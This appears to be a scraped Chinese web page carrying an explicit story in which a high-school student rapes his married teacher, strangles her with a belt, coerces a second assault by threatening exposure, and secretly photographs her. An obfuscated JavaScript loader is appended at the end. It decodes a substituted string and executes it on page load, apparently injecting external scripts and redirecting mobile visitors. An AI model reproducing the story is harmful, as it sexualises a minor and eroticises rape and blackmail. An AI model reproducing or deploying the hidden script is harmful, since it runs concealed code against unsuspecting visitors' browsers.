分享好友
    复制链接
      中条美穗只觉左手腕一阵剧痛。事实上也不光是手腕,她的全身都酸痛,从大腿、右腰,特别是腹部肌肉像抽搐般地僵硬。这对身为高中体育教师的美穗而言,是从来没有发生过的。
    她朦胧胧地张开双眼,望着自家熟悉的厨房上的天花板。
    非得快把体内的精液冲洗掉,她的脑海中只一味地想着这件事,可是身体却不听使唤,根本无法动弹。被卷上来的上衣下,露出漂亮之至的乳头,而裙子也被拉到腰部来,娇嫩的腹部以及下面的阴毛,阴唇都活现现地剥露在眼前。被左右打开双腿,直到现在连合拢的气力都使不上来。
    对方是住在隔壁高冢家的独生子那知。
    美穗的丈夫中条和那知的父亲高冢,是关东银行部属和上司的关系。同时也是下棋的好对手,高冢也常常邀约中条到他们家去,或是自己登门来和中条挑战下棋而乐此不疲。
    那时候的高冢,一点也看不出来有任何上司的架子,不!应该说在美穗的面前,他总是那么和蔼可亲,就像父亲般慈祥的长者。
    也正因为如此,更使夫妻俩在他们面前彷佛总是低人一等,不仅仅是他们的媒人,而且对于才三十岁的中条而言,可以和高冢比邻而居,也是当初建这间小屋子时,都有高冢一分不看在眼里的金钱资助。
    所以如果今天这件强暴事件若被公开,那所有的一切都将毁于一旦。被害者虽是美穗,但对方是自己教的学生,而且他的母亲还是PTA的副会长,如此一来,事情就不是那么简单了。
    母亲郁子,是那种典型上流阶级,对于教育热心的母亲。对于独生子那知十分溺爱,虽然在功课方面十分罗嗦,但其他一概松懈的可怕。
    她看起来比平常人更显的趾高气扬,甚至于对于美穗他们能够住在这种高级住宅街的事,彷佛是施了大恩般地,时时暗示着美穗他们,非得感激她的那种傲慢态度显露无遗。
    如果郁子知道这件事,想必是没有不吭声的道理,而且又是她自己的儿子,一定一口否定事实真相。而且她说不定会如此说:「是你诱惑我们家的那知。」不!一定会这么说的。
    而那知说起来并不是用功的学生。尤其是学业成绩更是班上的中下级,可说是素行不良的问题学生。
    不过或许对母亲还有些许的畏惧,虽不是完全加入不良少年的集团,但是在校内抽烟,或是罢课等却是家常便饭,不知道何时会禁不住外界的诱惑而沉沦堕落,更是意料中之事。
    若是向她母亲说这种不中听的事实,想必郁子一定是嗤之以鼻,根本听不进去的。
    而美穗这方面也并非完全没有错误。那知经常在休假的时候就被他们夫妇俩邀约来家里玩。但都是中条主动邀请的,那种超乎想像的热情有时令美穗也觉不可思议。
    或许他是基于对上司儿子爱护的心理吧!但事实上,每次把那知叫来,中条自己总是沉迷在与高冢先生的下棋大战之中,招呼那知其实便全是美穗的事。
    尤其是那知的眼睛总是有意无意地往美穗的身体打量着,她时常都感觉得到他不时地偷瞄着她衣服的前胸部。
    她以为这只不过是正常发育的高中生的自然反应,在学校中她早已习惯了那种眼神,所以这点不可不说太大意了。
    一小时前,那知出乎意外地一个人来访,时间是礼拜天,离傍晚还有些距离。
    「老师,我有话想和你谈。」那知看来很颓丧。美穗认为她已大概知道他要谈话的内容。三天前,美穗亲眼目睹到自己高中的学生,在闹区买了强力胶,骑着摩托车往郊区建中的大楼去。
    在同事当中,也有人会装作没看到这回事的人,但既身为生活指导的教师,美穗岂能视而不见,于是她叫了部车尾随而去。
    跟踪到三楼,美穗立刻被眼前的景象吓坏了。只见穿着制服的男女学生,坐在木板床上,手拿着塑胶袋吹气又呼气,看起来个个神色恍惚的的模样。
    在一群年轻学生中,约有几个人是美穗的高中学生。每个人都茫然地看天花板。而她竟发现那知也在这一伙人之中。
    而同时,其他学校的的学生也发现到美穗。
    「她是谁?谁把这客人带来。」好多人望向声音的这一端。
    「看起来是个长的不错的伯母!」「等一下,才不是!她是我们学校的体育老师。」说话是既染发又化的大森顺子。
    「体育老师有何贵干?」「中条是生活指导员。」「哇!如此一来,事情可严重了。」「说不定会停学处分呢!」「若是被停课一星期,岂不是太严格了!」学生们大家你一句我一句地戏言着。
    「她多大岁数了?」不知谁在说话。
    「那有什么关系。看起来既漂亮,身材又棒极了,声音也娇滴滴的。在我们学校,二个人之中就有一个人每每想起这老师的诱人身材就垂涎三尺呢!」说这话的,是不良集团的老大南村茂。
    此时男孩子纷纷站了起来。
    美穗不禁退缩惧怕起来,毕竟此时的她力单势薄,无论如何对抗不了这伙人的。于是她转眼间飞奔下而去。
    「请进吧!我现在正在泡茶。」她看到那知的态度,遂打开了大门。
    (2)「那天的事情,是不是有向学校报告?」那知坐在餐桌旁的椅子上,对着正在烧开水的美穗叫喊着。
    「你希望我这么做吗?」「你别开玩笑了,我一直辗转难眠。」「那……就别再犯第二次错了。」「这么说,这次是放我一马罗。」「就这一次!」美穗从厨房的流理台处走回来,斩钉截铁的说着。
    那知伸伸舌头,掩不住笑意的脸,说着:「我……已经有向大家说了,老师是那种看来冷漠,其实是非常温柔,从不说别人坏话的人,是个大好人。」「别尽灌迷汤了,我可不领情。」「别这么冷冰冰的嘛,我其实还有其他的话要说。」那时,美穗并未注意到那知已站起来了。「老师可说是最好的人了。在那当儿,若是大家对老师做什么不利的举动,我一定会帮老师一臂之力。我用生命打赌。」说着,他突然握住美穗正抓着小炉子的手。
    美穗大吃一惊,猛一抬头。
    「你知道为什么吗?因为我想将老师占为己有。」说着他用另一只手托住美穗的下巴,唇压在她的嘴上。
    事情发生的太突然,美穗一时呆呆地接受他的唇。
    那知的舌头伸入唇内,美穗扭动着身子,但此时手上握着沸腾的茶壶无疑地像手铐般地限制了她的行动。
    若是轻举妄动,势必会使滚烫的水飞溅而出。而且也一时无法放下。于是那知的薄唇在美穗唇上足足停留了好一阵子。
    终于那知松开美穗那握着茶壶的手,美穗不顾热水飞溅出来的危险,急忙将茶壶放置到小炉子上,就在这当儿,那知的手用力地绕过白色的上衣环抱住她的臀部。
    由于职业的关系,她比一般的女子还有力,但那知的腕力却出奇的强劲,不断地揉搓着她的臀部,还不老实的将手从腰际处往下滑,直伸入橘红色裙摆的下端。
    喘着气的美穗慌忙地将裙子的两侧按压下去。因为背后刚好顶住流理台,而前面的腹部又被那知的身体挡着,根本没有转身的馀地。
    而那知也因此无法随意地把裙子卷上来。于是把托住她下巴的手放开,移放在裙子上。
    「呜……高冢君……」就在呼气的当儿,美穗向他大叫。裙子已被翻至大腿内侧上来。
    「不错吧……老师……」那知喘着气,在她的耳边低语。
    「不可以,你放手……」「什么……我喜欢你……真的!」那知一派真的口吻,令美穗心中燃起一线希望。
    「那你就放手吧!」「不要!」「请你放手!」美穗强作镇静地重覆说着。很快地美穗趁其不注意抽离那知的身体。
    「你回家吧!」「为什么?」那知一付哭丧着脸庞,彷佛透露出怒意。
    「这事我就当没发生过,所以请回去吧。」美穗尽量降低自己越来越高亢的声音说着。
    「我不想回去。」「不可以这样。」两人的目光相接,美穗不禁不安地吐着气。
    「总……总而言之……你回去吧……」一边说着,顺势甩开那知的手。
    正想逃走的刹那间,那知的手一把抓住她的手腕。
    或许此时放轻松点,情况会改观也说不定。
    但此时美穗也有些情急了。她也不由自主在右手腕使力,于是那知更加地用力拉她。
    「不要……放手……」她用尽全力扭开那知的手,可是说时迟那时快,那知的手一把劲地去抱住正想逃开的美穗的腰部。
    「等一下!」那知叫一声,从背后把她环抱住。
    由于被人不经意从身后抱住,美穗的身体倒往要跌倒的姿势。
    「啊……」于是美穗的身体顺势地跌靠在那知的身上,她不禁大叫出声。
    而就在这措手不及的当儿,那知又再度把她的裙子卷上来。这次更不客气地抓到大腿上侧,连屁股都露出来了。
    穿着裤袜的大腿,包裹着浑圆的臀部,煞是恼人。
    那知把美穗的手抓到背后,把她的上半身更抱紧住,将长袜和裤袜一起拉扯下来。
    「啊……」屁股一下子被剥露,美穗也不禁吓呆了。被强暴可不是件好玩的事与其要守住贞操,如何保护自已的生命才是最重要的—她如此想着。
    但就在这几分钟之间,自己身体的下半身已被剥得精光。而且呼吸也变得十分急促。原来已在不知不觉中耗尽了大半的体力。或许应该是过度恐惧而带来的紧张,使得精力几乎要消耗殆尽。
    而跨在自已身上的那知,手脚俐落地拿掉自已裤子上的皮带,把拉拉扯开来。
    「呜……不要……」美穗开始求救而高声呼叫,即便如此,也无法获得邻近人家的救助。因为家的一面是面向马路,而另一面则紧临着高冢家的庭院。不过或许那知会为她大叫而停止这行为也说不定。
    就在她大声呼救的当儿,她的喉部被皮带围绕了起来,从喉头部分二层、三层往上环绕,美穗的脸遂上仰着。
    「咳……咳……」美穗顿时觉得快喘不过气来,美穗不禁泪水汪汪地咳了起来,她的两只手则被皮带困绑了起来。而那知也在此时脱下了自己的内裤,把直挺挺的男人阳具,顺势滑入美穗的跨股间。
    「咦!」火烫烫的热度及硬直度,美穗只觉眼前一片昏暗。
    一边仍微咳着,她双手撑在床沿边,可是左边的大腿两侧被那知的两腿夹得很紧。一般时候她必定会有所反抗,但现在这种姿势她实在无力招架。
    「呜……」像火般的男根的前端,碰到臀部,美穗闷声地叫着,身体也往前移动,还好位置不对,那知碰到的是接近肛门的地方。
    由于太过情急,那知有些找不到入口了。二次、三次男根都碰壁,也因美穗的身体也不断地往前挪移。
    「呜……」头顶上不知碰撞到什么,原来是放食物的柜子,已经没地方可移动了。
    那知拿右手的三支指头插入口中,沾满了唾液,在那丰腴肉感的股间涂满。
    「啊……」那种黏答答的触感,令美穗不禁打了个冷颤。
    那知又再度将男根碰触着,这下子已搜寻到入口,美穗十分着急,慌乱地扭动着腰,反而告诉那知正确位置所在了。
    他紧抱包裹着卷起的裙摆的腰,身体往前抽动,将强劲的男根插了进去。
    「喔!」被皮带系住的头,在刹那间扭动着,美穗哀叫着。
    像火舌般炽热的男根,粗暴地直导入阴部,好像当初失去处女膜般地痛楚袭击着身体。
    年轻野兽般的欲情一发不可收拾,他痛快地剌戟着,而且还是自己深深爱慕的女老师的肉体,那知的情绪更加亢奋了。
    已经插入到一半的男根,由于那知的一使力,一下子男根的尖端就好似碰触到子宫似的。美穗只觉像钢串般地十分不舒服,连喉咙都感到呼吸困难。
    美穗的背部呈弓字形,那知开始扭动着腰。
    结婚九年间,从来没有接纳过丈夫以外的男体,如此却被住在隔壁,自己教的学生给糟蹋、蹂躏了。做为人妻的贞操被这样践踏,由于一下子遭受这样的打击,竟然欲哭无泪。
    而此时年轻的那知抱住她的肩膀,将她的头发拨弄到一旁,喘着气,卖力地抽动着阴茎。
    对那知而言,从没有如此陶醉过。他感到美穗的肉体就像她那浑圆丰满的臀部一样地柔软,而且是那样地甜美。
    目前为止曾经和二位高中女生做过爱,但总觉得这次实在不一样,虽然阴道内尚未滑润,但她的肉体是这样的温暖而滑溜。是那种从来没有过的微妙的触感。
    而且不光是这样。那半掩住脸庞的秀发,散发着一般高中女生所没有的迷人气味,是那种高价香水和高雅、成熟所凝聚而成的味道。
    随着男根进出的扭动,那知的全身的每一个细胞,只觉得欢喜和鼓舞得似要跳跃了起来,他开始更猛力地摆动着腰,不!应该说,此时阴茎已被点燃到最高点了。
    那知高声地呻吟着,那白嫩而美丽的双峰,看起来如此具有挑逗性,好似就要把他给溶掉了。
    那知忽然紧紧地搂住美穗的背部,然后全身痉挛地出了精液。一边放纵着火热的欲情,还二次、三次地往前扭摆着腰,最后好似精力用光地将头垂放在美穗的背部,连身体也紧紧地依偎着。
    不久那知慢慢将阴茎抽拔出来。虽然才刚精,但俯趴着女老师那白嫩的臀部,以及那成熟的大腿之间的肌肤,他觉得实在太迷人了。
    那知把褪至膝下的内裤和白色的裤袜拉扯至脚踝,完全地把它们脱下来。然后装入运动上衣的口袋,再翻过美穗的肩膀,让她的脸面向着自己,他亲吻着她。
    「我喜欢你……老师……」那知又再度压上她的唇,本来已经松懈状况的美穗,不禁皱着眉头,紧闭着双眼。
    那知重重地吻着美穗的唇。在一般情况下,刚射精后的男人,无论如何反应都会转为平淡。但是对于年轻气盛的高中生而言,在发过第一次精力后,方才冷静地开始地品味着这美丽的女老师的肉体。
    那知的舌头在唇的内侧搅动,甚至翻弄着美穗那动也不动的舌头。然后照着平常从书上看来的使用舌头的技巧,可是总觉得自己动作实在笨拙得很。
    那知于是抬起头,仔细地盯着美穗瞧着,然后又再度凑上她的唇。他把她那白色的上衣,从卷起的裙子中拉出来,一直拉到腋下的部位来。白嫩嫩的胸部陡地露了出来。
    那知迫不及待地去握着那个高耸的乳峰。他似乎在测试着弹性似的,盯着美穗的脸孔,二次、三次地揉搓着。
    「好大……是E罩杯大的吗?」在校内的男学生之间,美穗的乳房大小一向是大家乐此不疲的话题。
    「可以看吗?」美穗把脸转了过去,闭上了眼睛。不意泪水竟溢出来。
    先强奸她在先,却还问着她这种事,她觉得他真是个可恶的孩子,同时,对于自己竟然被这样的孩子侵犯,感到羞愧万分。
    那知的手指触摸到下面的体毛。
    「不可以……」美穗开始制止那知的手的动作。
    「手放开……老师……」那知用威胁的语调,盯着美穗看。
    「不放手,我就不回去。」美穗不情愿地放开手,其实若是此时中条回来了,两人都会有麻烦的,而不只是她一个人的事。但年青人顾前不思后的作法,令美穗觉得恐怖。
    「我要看老师的乳房。」那知把罩杯往上压挤。
    「啊!」美穗反射性的用两手遮住胸部。而那知不说二话地把她的手拨开,就在这数秒间,二个鼓大的双峰映入眼。看起来是那么地丰满而成熟,而且乳头还透着淡雅的嫩粉色。
    那知的喉头咕噜噜作响,同时他的手把左右两个乳房紧紧地抓握住。那知的大手,竟包裹不住那二个突峰,那知又再次把乳房往上挤压,显得异常高兴,只一昧不停地揉搓着。
    那知直到目前,还不能如此尽情地做这样的事。而且高中生的胸围及丰满度也是比不上美穗的。任凭他怎么样地揉搓,总觉得好像不会损坏,也不会痛,更不会被拒绝般地,那知有种为所欲为的畅快感,可以如此地挑逗男人的性欲。那知第一次深深感受到这种感觉。
    他沿着尖端的圆形乳晕,含住乳头。凑上唇,发出声音吸吮着,还用舌头在乳头上打转。
    美穗的手就悬挂在那知的手腕上,她微微地张开眼睛,但很快地皱起眉头,这九年来,已经习惯于丈夫的爱抚的肉体,对于其他男人的抚弄,似乎有一种恐惧,也有一分新鲜感存在。
    舐完左边的乳房之后,舌头接着游移到右边的乳头来,从乳头的尖端到乳晕的全体,再从乳晕沿顺到其下的部位,那知的舌头一刻也没有停过地吸吮着。
    就美穗来说,这可说是从没有过的体验。即使现在她的丈夫中条也还深爱着,让她心存感激,但是也还不及那知这样的执着及热情。
    那知微微抬起头,二边乳房的乳晕、乳头的部位都沾满了唾液而湿粘粘的。
    但是他仍然对美穗的胸部兴致高昂,而且反而因为越加吸吮而觉得那里实在魅力无尽,年轻的欲望已有些按捺不住了。
    那知的右手抱起她左边的脚,灼热的阴茎再度碰触到裸露的下腹。
    一时之间,美穗呆住了。不是刚刚才精吗?至少中条是不会这么快就回复的。
    或许最近中条全心在工作上,每个月大概二次到三次是完全精罢了。而年轻人是如此精力旺盛,美穗直到现在才知道。
    绝不可再让他第二次又得逞,一次的话还可藉口是无心犯错,若是二次的话,那就不可饶恕了。而且有了二次,一定还有第三次。
    「不可以啊……高冢君……」美穗用两手阻止那知腰部作动。
    「你不放手,我就不回去。」「拜托……别再闹了。」美穗哀求着,看着那知。「你若不让我再做一次,我就告诉中条先生去,说今天和老师做爱了。」「别胡说。」「真的,老师的身体真的棒极了,我是说真的。」「……」那知若是大人,还不用担心,问题是平常就是那种情绪起伏不定的人,所以更加深了美穗的不安感。
    「做爱一次,或二次有什么差别?你再让我做一次,我绝对不说出去,还是要把今天的事情公开呢?」「不……不可以……绝对……」美穗不由得大叫起来,即使让中条知道了事实,大概也没有什么解决之道吧?
    依中条的性格,一定是不敢对如恩人般的高冢的儿子采取什么报复的手段。
    结果大概只有两人抱头痛哭的下场,就因为如此,这件事无论如何也非得保密不可。
    「那……放手……让我和你做爱。」美穗深深地叹了一口气。恐怕此时不放手,那知也会强行直驱而入的。第一次既已没有拒绝,第二次要再反抗大概也做不到了。美穗此时觉得好疲倦。她觉得这个恶梦好像做得如一世纪那么久。
    「那讲好,这是最后一次好吧?」「我知道啦……」迫不及待地,那知拨开美穗的手。
    「一定喔!」说着,那知的阴茎开始插了进去。
    「呜……呜……」他开始在阴部处抽动着。
    「啊……」他以不同的角度在阴部的入口抽动着,因此冲击度很强烈。
    美穗紧闭着眼睛,放松着肉体。如此一来,或许可减少些苦痛。
    那知放开抱着的左脚,两手跨过美穗的腋下,顶着她的下腹部,仔细地瞧着美穗的脸孔。
    第一次由于太猴急了,在朦朦胧胧之间就完事了。而现在他才明明白白的感觉到自己的确抱着美穗的肉体,和这位平时爱慕已久的女老师在做爱。而且女体是这样美妙而令人感到甜美的,他此时才真确的体认到。
    「好棒哦……老师……」两肘撑起的那知,陶醉般地凑近了唇。为了怕美穗又避开,很快地压住她的手,重重地压上她唇,不管美穗紧闭的双唇,把舌头伸入她的口腔。
    那知两手抱住她的肩膀,开始慢慢地摆动起腰。
    那知的阴茎充满了年轻的力度和灼热,在阴部卖力地进出着,尖端好似碰触到她的子宫似的,每一次抽动,和着黏液,总是发出声响。美穗一听到,心中的不安感更加地强烈了。
    美穗尽管有些情绪高亢,但仍紧闭着眉,指甲抓着床单挣扎着。
    那知的动作开始强烈起来,像在划水般的,他不由得呻吟了起来,好像一头疯狂的野兽般,那知开始卖力地摆动着,如火般的阴茎猛烈的进攻,有种绝妙的感觉从下肢一直沿伸到下体的部位,或许是有过第一次的激情,那知并没有马上精,反而更加卖力地划动着。
    终于结束了——美穗安心的松了一口气。
    一边喘息的那知,站起身来,拉整好上衣和裤子之际,想不到竟从口袋拿出那种小型可使用即丢的照相机,接二连三地按下快门。望着呆楞住的美穗,他露出恶魔似的微笑,迅速地离开了现场。
    终于坐起身的美穗,拨拨散乱的头发,检视着周遭。应该被脱下的内裤和裤袜,却怎么也找不到。缓缓地站起身来,拉拉身上的衣服,穿好裙子,走向了浴室。
    【完】



!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();